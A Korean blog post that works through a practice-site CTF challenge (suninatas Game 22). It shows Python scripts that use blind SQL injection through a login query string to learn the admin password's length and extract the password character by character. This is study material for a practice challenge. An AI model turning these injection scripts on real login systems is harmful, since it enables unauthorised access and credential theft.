article thumbnail image
Published 2022. 5. 24. 21:30

문제: http://suninatas.com/challenge/web22/web22.asp

Game 22는 Blind SQL Injection 문제다.

form 아래에 필터링되고 있는 키워드를 보여주고 있다.

이 외에도 #, like, % 등등 아래 키워드에는 없지만 필터링되고 있는 것들도 있었다.

최종적으로 =, and, --, ' 정도가 필터링되지 않는 것을 확인했다.

 

해당 문제에 대한 힌트가 있지 않을까 싶어 개발자 도구를 열어봤는데 역시나 주석에 힌트가 숨겨져 있었다.

admin의 pw를 구해야 한다고 한다.

이전에 비슷한 문제를 풀어봤었는데 그때랑 동일한 방법으로 해결해보겠다.

 

먼저 pw의 길이를 알아야 한다.

아래 코드로 pw의 길이를 알아낼 수 있다.

import requests

url = "http://suninatas.com/challenge/web22/web22.asp"

length = 1
while True:
	data = "?id=admin'+and+len(pw)="+str(length)+"--&pw=1"
	r = requests.get(url+data)
	if "OK" in r.text:
		print "Password length:", length
		break
	print(length)
	length += 1

len(pw)은 pw의 길이를 반환하는 함수다. length의 값을 1씩 늘려가면서 len(pw)의 값과 비교하면 pw의 길이를 알아낼 수 있다.

 

 

 

pw의 길이를 알아냈으니 진짜 pw를 구해보자.

import requests

url = "http://suninatas.com/challenge/web22/web22.asp"
pw = ''

for i in range(1, 11):
	for ch in range(33, 128):
		data = "?id=admin'and mid(pw,{},1)='{}'--&pw=1".format(i, chr(ch))
		r = requests.get(url+data)
		if "OK" in r.text:
			pw += chr(ch)
			print "[+] Finding...", pw
			break
print "[*] Password :", pw

id에 admin을 넣고 '로 문자열을 닫은 다음에 mid함수로 pw의 값을 한자리씩 추출했다.

추출한 값을 ch와 비교해서 pw를 찾아가는 방식의 코드를 작성했다.

그러나 해당 코드는 제대로 작동하지 않았다.

mid가 필터링 되는 것인지 확인해봤지만 필터링되는 것은 아니었다.

mid대신에 substr을 사용해봤지만 여전히 제대로 동작하지 않았다.

결국 최종적으로 작성한 코드는 아래와 같다.

 

 

 

import requests

url = "http://suninatas.com/challenge/web22/web22.asp"
pw = ''

for i in range(1, 11):
	for ch in range(33, 128):
		data = "?id=admin'and substring(pw,{},1)='{}'--&pw=1".format(i, chr(ch))
		r = requests.get(url+data)
		if "OK" in r.text:
			pw += chr(ch)
			print "[+] Finding...", pw
			break
print "[*] Password :", pw

맨 처음에 작성한 코드에서 mid -> substring으로 바꾸기만 했다.

해당 코드는 제대로 동작하는 것을 확인했다.

 

 

 

 

느낀점

마지막에 mid와 substr은 되지 않고 substring만 제대로 동작하는 이유를 아직도 찾지 못했다...

+) 알고 있는 분들은 댓글로 남겨주시면 감사할 것 같습니다 :)

 

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[suninatas] Game 08  (1) 2022.05.24
[suninatas] Game 07  (1) 2022.05.16
[suninatas] Game 06  (1) 2022.05.16
[suninatas] Game 05  (1) 2022.05.16
[suninatas] Game 04  (1) 2022.05.10
복사했습니다!